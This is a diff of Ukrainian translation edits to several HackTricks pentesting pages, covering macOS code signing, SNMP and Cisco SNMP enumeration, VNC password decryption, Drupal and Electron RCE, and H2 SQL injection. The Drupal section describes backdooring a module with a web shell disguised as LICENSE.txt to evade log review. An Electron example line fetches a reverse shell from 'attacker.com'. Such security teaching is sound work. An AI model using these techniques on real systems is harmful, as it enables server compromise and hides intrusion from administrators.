`__TEXT.__info__plist`). * Хеш вимог @@ -175,7 +175,7 @@ MacOS програми не мають всього необхідного дл ## Code Signing Flags -Кожен процес має пов'язану бітову маску, відому як `status`, яка ініціюється ядром, і деякі з них можуть бути переопределені **підписом коду**. Ці прапори, які можуть бути включені в підпис коду, [визначені в коді](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36): +Кожен процес має пов'язану бітову маску, відому як `status`, яка ініціюється ядром, і деякі з них можуть бути переозначені **підписом коду**. Ці прапори, які можуть бути включені в підпис коду, [визначені в коді](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36): ```c /* code signing attributes of a process */ #define CS_VALID 0x00000001 /* dynamically valid */ @@ -220,13 +220,13 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED) #define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED) ``` -Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) може також динамічно додавати прапори `CS_EXEC_*` під час запуску виконання. +Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution. ## Вимоги до підпису коду Кожен додаток зберігає деякі **вимоги**, які він повинен **виконати**, щоб мати можливість виконуватися. Якщо **додаток містить вимоги, які не виконуються додатком**, він не буде виконаний (оскільки, ймовірно, був змінений). -Вимоги бінарного файлу використовують **спеціальну граматику**, яка є потоком **виразів** і кодуються як блоби, використовуючи `0xfade0c00` як магічне число, чий **хеш зберігається в спеціальному слоті коду**. +Вимоги бінарного файлу використовують **спеціальну граматику**, яка є потоком **виразів** і кодуються як блоби, використовуючи `0xfade0c00` як магічне число, чий **хеш зберігається в спеціальному кодовому слоті**. Вимоги бінарного файлу можна побачити, запустивши: @@ -272,14 +272,14 @@ od -A x -t x1 /tmp/output.csreq #### **Створення та управління вимогами коду** -* **`SecRequirementCreateWithData`:** Створює `SecRequirementRef` з двійкових даних, що представляють вимогу. -* **`SecRequirementCreateWithString`:** Створює `SecRequirementRef` з рядкового виразу вимоги. -* **`SecRequirementCopy[Data/String]`**: Отримує двійкове представлення даних `SecRequirementRef`. +* **`SecRequirementCreateWithData`:** Створює `SecRequirementRef` з бінарних даних, що представляють вимогу. +* **`SecRequirementCreateWithString`:** Створює `SecRequirementRef` з рядкової виразу вимоги. +* **`SecRequirementCopy[Data/String]`**: Отримує бінарне представлення даних `SecRequirementRef`. * **`SecRequirementCreateGroup`**: Створює вимогу для членства в групі додатків. #### **Доступ до інформації про підпис коду** -* **`SecStaticCodeCreateWithPath`**: Ініціалізує об'єкт `SecStaticCodeRef` з шляху файлової системи для перевірки підписів коду. +* **`SecStaticCodeCreateWithPath`**: Ініціалізує об'єкт `SecStaticCodeRef` з файлового шляху для перевірки підписів коду. * **`SecCodeCopySigningInformation`**: Отримує інформацію про підпис з `SecCodeRef` або `SecStaticCodeRef`. #### **Модифікація вимог коду** @@ -296,7 +296,7 @@ od -A x -t x1 /tmp/output.csreq * **`SecCodeCopy[Internal/Designated]Requirement`: Отримати SecRequirementRef з SecCodeRef** * **`SecCodeCopyGuestWithAttributes`**: Створює `SecCodeRef`, що представляє об'єкт коду на основі специфічних атрибутів, корисно для пісочниці. -* **`SecCodeCopyPath`**: Отримує шлях файлової системи, пов'язаний з `SecCodeRef`. +* **`SecCodeCopyPath`**: Отримує файловий шлях, пов'язаний з `SecCodeRef`. * **`SecCodeCopySigningIdentifier`**: Отримує ідентифікатор підпису (наприклад, Team ID) з `SecCodeRef`. * **`SecCodeGetTypeID`**: Повертає ідентифікатор типу для об'єктів `SecCodeRef`. * **`SecRequirementGetTypeID`**: Отримує CFTypeID `SecRequirementRef`. @@ -304,7 +304,7 @@ od -A x -t x1 /tmp/output.csreq #### **Прапори та константи підпису коду** * **`kSecCSDefaultFlags`**: Значення за замовчуванням, що використовуються в багатьох функціях Security.framework для операцій підпису коду. -* **`kSecCSSigningInformation`**: Прапор, що використовується для вказівки на те, що інформацію про підпис слід отримати. +* **`kSecCSSigningInformation`**: Прапор, що використовується для вказівки на те, що інформація про підпис повинна бути отримана. ## Примус підпису коду @@ -312,7 +312,7 @@ od -A x -t x1 /tmp/output.csreq ## `cs_blobs` & `cs_blob` -[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) структура містить інформацію про права виконання процесу, що працює на ньому. `csb_platform_binary` також інформує, чи є додаток платформним бінарним (що перевіряється в різні моменти операційною системою для застосування механізмів безпеки, таких як захист прав SEND до портів завдань цих процесів). +[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) структура містить інформацію про права запущеного процесу на ньому. `csb_platform_binary` також інформує, чи є додаток платформним бінарним (що перевіряється в різні моменти ОС для застосування механізмів безпеки, таких як захист прав SEND до портів завдань цих процесів). ```c struct cs_blob { struct cs_blob *csb_next; diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index b8d83bcbe..f7f8266f9 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -21,9 +21,9 @@ Learn & practice GCP Hacking:

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

+

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

### Як @@ -32,14 +32,14 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -48,7 +48,7 @@ SNMP також використовує порт **162/UDP** для **трап ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) Ви можете **переглядати** через **дерево OID** з вебу тут: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) або **подивитися, що означає OID** (наприклад, `1.3.6.1.2.1.1`), звернувшись до [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Є кілька **відомих OID**, таких як ті, що знаходяться всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...) +Є кілька **відомих OID**, таких як ті, що знаходяться всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що походять з цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...) ### **Приклад OID** @@ -59,7 +59,7 @@ SNMP також використовує порт **162/UDP** для **трап Ось розбивка цієї адреси. * 1 – це називається ISO, і це встановлює, що це OID. Саме тому всі OID починаються з "1". -* 3 – це називається ORG, і воно використовується для вказівки організації, яка виготовила пристрій. +* 3 – це називається ORG, і використовується для вказівки організації, яка виготовила пристрій. * 6 – це dod або Міністерство оборони, яке є організацією, що першою встановила Інтернет. * 1 – це значення Інтернету, що позначає, що всі комунікації відбуватимуться через Інтернет. * 4 – це значення визначає, що цей пристрій виготовлений приватною організацією, а не урядовою. @@ -87,8 +87,8 @@ SNMP також використовує порт **162/UDP** для **трап Існує 2 важливі версії SNMP: -* **SNMPv1**: Основна, вона все ще найчастіше використовується, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**. -* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака за словником**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2). +* **SNMPv1**: Основна версія, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **відкритому тексті** (вся інформація передається в відкритому тексті). **Версії 2 і 2c** також передають **трафік у відкритому тексті** і використовують **рядок спільноти як автентифікацію**. +* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато складніше, ніж у SNMPv1 і v2). ### Рядки спільноти @@ -111,9 +111,9 @@ SNMP також використовує порт **162/UDP** для **трап * Менеджер отримує сповіщення ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) та [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) на порт **162**. * Коли використовується з [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) або [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), запити отримуються на порт **10161**, а сповіщення надсилаються на порт **10162**. -## Атака методом грубої сили на рядок спільноти (v1 і v2c) +## Атака методом підбору рядка спільноти (v1 і v2c) -Щоб **вгадати рядок спільноти**, ви можете виконати атаку за словником. Перевірте [тут різні способи виконання атаки методом грубої сили проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`. +Щоб **вгадати рядок спільноти**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`. ## Перерахування SNMP @@ -124,7 +124,7 @@ download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` -Якщо ви знаєте дійсний рядок спільноти, ви можете отримати доступ до даних за допомогою **SNMPWalk** або **SNMP-Check**: +Якщо ви знаєте дійсний рядок спільноти, ви можете отримати доступ до даних, використовуючи **SNMPWalk** або **SNMP-Check**: ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -161,7 +161,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull * **`rwcommunity`** для **IPv4** адрес, та * **`rwcommunity6`** для **IPv6** адрес. -Обидві команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту. +Обидва команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту. ### Параметри SNMP для Microsoft Windows @@ -193,7 +193,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ## **Масове SNMP** -[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні SNMP запитів – але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко. +[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні запитів SNMP – але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко. Braa реалізує свій ВЛАСНИЙ стек snmp, тому йому НЕ потрібні жодні бібліотеки SNMP, такі як net-snmp. @@ -219,7 +219,7 @@ grep -i "trap" *.snmp ``` ### **Імена користувачів/Паролі** -Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково включати паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані: +Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані: ```bash grep -i "login\|fail" *.snmp ``` @@ -235,7 +235,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ## Спуфінг -Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у пакеті UDP і прослухати трафік. +Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у UDP-пакеті та прослуховувати трафік. ## Перевірка конфігураційних файлів SNMP @@ -243,7 +243,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp * snmpd.conf * snmp-config.xml -
+
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 280d7c8cf..06544ad16 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## Pentesting Cisco Networks -**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запису (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої. +**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запис (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої. -Практичним інструментом для виконання таких атак брутфорсом є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей: +Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей: ```bash onesixtyone -c communitystrings -i targets ``` @@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
-Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_). +Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/network-services-pentesting/pentesting-vnc.md b/network-services-pentesting/pentesting-vnc.md index 93c52fa19..1111a1201 100644 --- a/network-services-pentesting/pentesting-vnc.md +++ b/network-services-pentesting/pentesting-vnc.md @@ -1,8 +1,8 @@ # 5800,5801,5900,5901 - Pentesting VNC {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,9 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_). {% embed url="https://www.stmcyber.com/careers" %} @@ -45,12 +45,12 @@ vncviewer [-passwd passwd.txt] ::5901 За замовчуванням **пароль зберігається** в: \~/.vnc/passwd -Якщо у вас є пароль VNC, і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому тексті, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) +Якщо у вас є пароль VNC і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому тексті, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) ```bash make vncpwd ``` -Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування відкритих VNC паролів, був скасований багато років тому.\ +Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування простих VNC паролів, був перевернутий багато років тому.\ Для **Windows** ви також можете використовувати цей інструмент: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ Я зберігаю інструмент тут також для зручності доступу: @@ -60,15 +60,15 @@ vncpwd * `port:5900 RFB` -
+
-Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -76,7 +76,7 @@ vncpwd * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
{% endhint %} diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index 078f153c1..fdd074faa 100644 --- a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -55,20 +55,20 @@ curl http://drupal-site.local/node/3 У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки. {% endhint %} -Модуль з бекдором можна створити, **додавши оболонку до існуючого модуля**. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, наприклад, [CAPTCHA](https://www.drupal.org/project/captcha). Прокрутіть вниз і скопіюйте посилання на tar.gz [архів](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). +Модуль з бекдором можна створити, **додавши shell до існуючого модуля**. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, наприклад, [CAPTCHA](https://www.drupal.org/project/captcha). Прокрутіть вниз і скопіюйте посилання на tar.gz [архів](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). * Завантажте архів і розпакуйте його вміст. ``` wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz tar xvf captcha-8.x-1.2.tar.gz ``` -* Створіть **PHP веб-оболонку** з вмістом: +* Створіть **PHP web shell** з вмістом: ```php ``` -* Далі нам потрібно створити файл **`.htaccess`**, щоб надати собі доступ до папки. Це необхідно, оскільки Drupal забороняє прямий доступ до папки **`/modules`**. +* Далі нам потрібно створити файл **`.htaccess`**, щоб отримати доступ до папки. Це необхідно, оскільки Drupal забороняє прямий доступ до папки **`/modules`**. ```html RewriteEngine On @@ -89,17 +89,17 @@ tar cvf captcha.tar.gz captcha/ ### Частина 1 (активація _Медіа_ та _Медійна бібліотека_) -У меню _Розширити_ (/admin/modules) ви можете активувати те, що, здається, є плагінами, які вже встановлені. За замовчуванням плагіни _Медіа_ та _Медійна бібліотека_ не активовані, тож давайте їх активуємо. +У меню _Розширити_ (/admin/modules) ви можете активувати те, що, здається, є плагінами, вже встановленими. За замовчуванням плагіни _Медіа_ та _Медійна бібліотека_ не активовані, тож давайте їх активуємо. Перед активацією: -
+
Після активації: -
+
-
+
### Частина 2 (використання функції _Синхронізація конфігурації_) @@ -122,7 +122,7 @@ allow_insecure_uploads: false ... ``` -
+
До: @@ -136,7 +136,7 @@ allow_insecure_uploads: true ... ``` -
+
**Патч field.field.media.document.field\_media\_document.yml** @@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod ... ``` -
+
До: @@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od ... ``` -> Я не використовую це в цьому блозі, але зазначено, що можливо визначити вхід `file_directory` довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися вгору в дереві файлової системи Drupal). +> Я не використовую це в цьому блозі, але зазначено, що можливо визначити вхід `file_directory` довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися назад у дереві файлової системи Drupal). -
+
### Частина 3 (використання функції _Додати документ_) -Останній крок є найпростішим і поділений на два підкроки. Перший - завантажити файл у форматі .htaccess, щоб використати директиви Apache і дозволити файлам .txt інтерпретуватися PHP-движком. Другий - завантажити файл .txt, що містить наш payload. +Останній крок є найпростішим і поділений на два підкроки. Перший - завантажити файл у форматі .htaccess, щоб використати директиви Apache і дозволити інтерпретацію .txt файлів PHP-движком. Другий - завантажити .txt файл, що містить наш payload. Файл: .htaccess ``` @@ -194,13 +194,13 @@ php_flag engine on ``` Чому цей трюк класний? -Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми зможемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як легітимний GET запит до текстового файлу. +Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми можемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як законний GET запит до текстового файлу. Чому ми називаємо наш Webshell LICENSE.txt? -Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий). +Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядками і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий). -
+
Файл: Виправлений LICENSE.txt ```txt @@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author Спочатку ми використовуємо функцію _Add Document_ (/media/add/document) для завантаження нашого файлу, що містить директиви Apache (.htaccess). -
+
-
+
-
+
**Частина 3.2 (завантажити файл LICENSE.txt)** @@ -263,7 +263,7 @@ programs whose distribution conditions are different, write to the author
-І, як ви можете бачити в журналах, виглядає так, ніби запитувався лише txt файл. +І, як ви можете бачити в журналах, здається, що запитувався лише txt файл.
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md index 395a8c28a..47bd85232 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: 
 </details>
 {% endhint %}
 
-Якщо скрипт preload відкриває IPC-інтерфейс з файлу main.js, процес рендерингу зможе отримати до нього доступ, і якщо є вразливість, може бути можливість RCE.
+Якщо скрипт preload відкриває IPC-інтерфейс з файлу main.js, процес рендерингу зможе отримати до нього доступ, і якщо він вразливий, може бути можливість RCE.
 
 **Більшість з цих прикладів були взяті звідси** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Перегляньте відео для отримання додаткової інформації.
 
@@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src=
+
## Example 1 @@ -86,7 +86,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh"); ``` ## Приклад 2 -Якщо скрипт попереднього завантаження безпосередньо надає рендереру можливість викликати `shell.openExternal`, це може призвести до отримання RCE +Якщо скрипт попереднього завантаження безпосередньо надає рендереру можливість викликати `shell.openExternal`, це може призвести до отримання RCE. ```javascript // Part of preload.js code window.electronOpenInBrowser = (url) => { diff --git a/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/network-services-pentesting/pentesting-web/h2-java-sql-database.md index 1c0da4376..585ccb1e3 100644 --- a/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -1,29 +1,27 @@ # H2 - Java SQL база даних {% hint style="success" %} -Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Підтримайте HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
{% endhint %} -
- {% embed url="https://websec.nl/" %} Офіційна сторінка: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) ## Доступ -Ви можете вказати **неіснуючу назву бази даних**, щоб **створити нову базу даних без дійсних облікових даних** (**неавтентифіковану**): +Ви можете вказати **неіснуючу назву бази даних** для того, щоб **створити нову базу даних без дійсних облікових даних** (**неавторизований**): ![](<../../.gitbook/assets/image (131).png>) @@ -39,7 +37,7 @@ _**Трюк з коробки Hawk з HTB.**_ ## H2 SQL Injection до RCE -У [**цьому пості**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) пояснюється пейлоад для отримання **RCE через H2 базу даних**, зловживаючи **SQL Injection**. +У [**цьому пості**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) пояснюється payload для отримання **RCE через H2 базу даних**, зловживаючи **SQL Injection**. ```json [...] "details": @@ -50,13 +48,11 @@ _**Трюк з коробки Hawk з HTB.**_ }, [...] ``` -
